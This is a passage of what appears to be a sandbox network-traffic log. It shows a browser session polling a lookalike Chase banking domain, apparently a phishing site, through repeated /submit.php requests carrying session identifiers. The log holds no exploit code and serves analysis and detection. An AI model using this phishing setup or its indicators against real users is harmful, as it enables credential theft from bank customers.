ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:17 UTC	266	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:16 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 31 Jan 2024 19:39:20 GMT ETag: "7d26-6104308fe4a00" Accept-Ranges: bytes Content-Length: 32038 Connection: close Content-Type: image/vnd.microsoft.icon
2024-12-20 00:17:17 UTC	16384	IN	Data Raw: 00 00 01 00 04 00 10 10 00 00 00 00 20 00 68 04 00 00 46 00 00 00 20 20 00 00 00 00 20 00 a8 10 00 00 ae 04 00 00 30 30 00 00 00 00 20 00 a8 25 00 00 56 15 00 00 40 40 00 00 00 00 20 00 28 42 00 00 fe 3a 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 b9 5c 00 35 b9 5c 00 3f b9 5c 00 3f b9 5c 00 3f b9 5c 00 29 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 b9 5c 00 6b b9 5c 00 fd b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 d1 b9 5c 00 35 b9 5c 00 33 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 b9 5c 00 57 b9 Data Ascii: hF 00 %V@@ (B:( @\5\?\?\?\)\k\\\\\\5\3\W
2024-12-20 00:17:17 UTC	15654	IN	Data Raw: ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 b9 5c 00 03 b9 5c 00 4f b9 5c 00 e3 b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 4f ff ff ff 01 ff ff ff 01 b9 5c 00 41 b9 5c 00 99 b9 5c 00 35 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff Data Ascii: \\O\\\\\\\\\\\\\\\\\\\\\O\A\\5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49890	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:18 UTC	980	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 705 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:17:18 UTC	705	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 32 35 30 2c 5b 5b 22 31 37 33 34 36 35 33 38 32 34 34 32 34 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],1250,[["1734653824424",null,null,null
2024-12-20 00:17:18 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:17:18 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 00:17:18 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-20 00:17:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49891	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:18 UTC	574	OUT	GET /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:18 UTC	276	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:18 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49897	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:18 UTC	588	OUT	GET /content/chasefavicon.ico HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:19 UTC	266	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:19 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 31 Jan 2024 19:39:20 GMT ETag: "7d26-6104308fe4a00" Accept-Ranges: bytes Content-Length: 32038 Connection: close Content-Type: image/vnd.microsoft.icon
2024-12-20 00:17:19 UTC	16384	IN	Data Raw: 00 00 01 00 04 00 10 10 00 00 00 00 20 00 68 04 00 00 46 00 00 00 20 20 00 00 00 00 20 00 a8 10 00 00 ae 04 00 00 30 30 00 00 00 00 20 00 a8 25 00 00 56 15 00 00 40 40 00 00 00 00 20 00 28 42 00 00 fe 3a 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 b9 5c 00 35 b9 5c 00 3f b9 5c 00 3f b9 5c 00 3f b9 5c 00 29 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 b9 5c 00 6b b9 5c 00 fd b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 d1 b9 5c 00 35 b9 5c 00 33 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 b9 5c 00 57 b9 Data Ascii: hF 00 %V@@ (B:( @\5\?\?\?\)\k\\\\\\5\3\W
2024-12-20 00:17:19 UTC	15654	IN	Data Raw: ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 b9 5c 00 03 b9 5c 00 4f b9 5c 00 e3 b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 ff b9 5c 00 4f ff ff ff 01 ff ff ff 01 b9 5c 00 41 b9 5c 00 99 b9 5c 00 35 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff Data Ascii: \\O\\\\\\\\\\\\\\\\\\\\\O\A\\5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49899	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:20 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:17:21 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Fri, 20 Dec 2024 00:17:20 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:17:21 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-20 00:17:21 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49900	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:21 UTC	943	OUT	POST /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive Content-Length: 36 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://online.access.secure001.chase-business.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:21 UTC	36	OUT	Data Raw: 75 70 64 3d 35 61 34 64 32 32 65 32 62 32 62 62 64 38 65 65 65 63 64 31 65 35 62 36 62 30 31 32 64 39 38 37 Data Ascii: upd=5a4d22e2b2bbd8eeecd1e5b6b012d987
2024-12-20 00:17:21 UTC	277	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:21 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 31 Connection: close Content-Type: text/html; charset=UTF-8
2024-12-20 00:17:21 UTC	31	IN	Data Raw: 7b 22 72 65 73 22 3a 22 6f 6b 22 2c 22 6d 73 67 70 69 6e 67 22 3a 22 6f 6e 6c 69 6e 65 22 7d Data Ascii: {"res":"ok","msgping":"online"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49906	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:23 UTC	574	OUT	GET /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:23 UTC	276	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:23 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49918	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:26 UTC	943	OUT	POST /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive Content-Length: 36 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://online.access.secure001.chase-business.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:26 UTC	36	OUT	Data Raw: 75 70 64 3d 35 61 34 64 32 32 65 32 62 32 62 62 64 38 65 65 65 63 64 31 65 35 62 36 62 30 31 32 64 39 38 37 Data Ascii: upd=5a4d22e2b2bbd8eeecd1e5b6b012d987
2024-12-20 00:17:26 UTC	277	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:26 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 31 Connection: close Content-Type: text/html; charset=UTF-8
2024-12-20 00:17:26 UTC	31	IN	Data Raw: 7b 22 72 65 73 22 3a 22 6f 6b 22 2c 22 6d 73 67 70 69 6e 67 22 3a 22 6f 6e 6c 69 6e 65 22 7d Data Ascii: {"res":"ok","msgping":"online"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49924	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:28 UTC	574	OUT	GET /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:28 UTC	276	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:28 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49930	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:31 UTC	943	OUT	POST /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive Content-Length: 36 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://online.access.secure001.chase-business.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:31 UTC	36	OUT	Data Raw: 75 70 64 3d 35 61 34 64 32 32 65 32 62 32 62 62 64 38 65 65 65 63 64 31 65 35 62 36 62 30 31 32 64 39 38 37 Data Ascii: upd=5a4d22e2b2bbd8eeecd1e5b6b012d987
2024-12-20 00:17:31 UTC	277	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:31 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 31 Connection: close Content-Type: text/html; charset=UTF-8
2024-12-20 00:17:31 UTC	31	IN	Data Raw: 7b 22 72 65 73 22 3a 22 6f 6b 22 2c 22 6d 73 67 70 69 6e 67 22 3a 22 6f 6e 6c 69 6e 65 22 7d Data Ascii: {"res":"ok","msgping":"online"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49936	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:33 UTC	574	OUT	GET /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:33 UTC	276	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:33 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49942	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:36 UTC	943	OUT	POST /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive Content-Length: 36 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://online.access.secure001.chase-business.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:36 UTC	36	OUT	Data Raw: 75 70 64 3d 35 61 34 64 32 32 65 32 62 32 62 62 64 38 65 65 65 63 64 31 65 35 62 36 62 30 31 32 64 39 38 37 Data Ascii: upd=5a4d22e2b2bbd8eeecd1e5b6b012d987
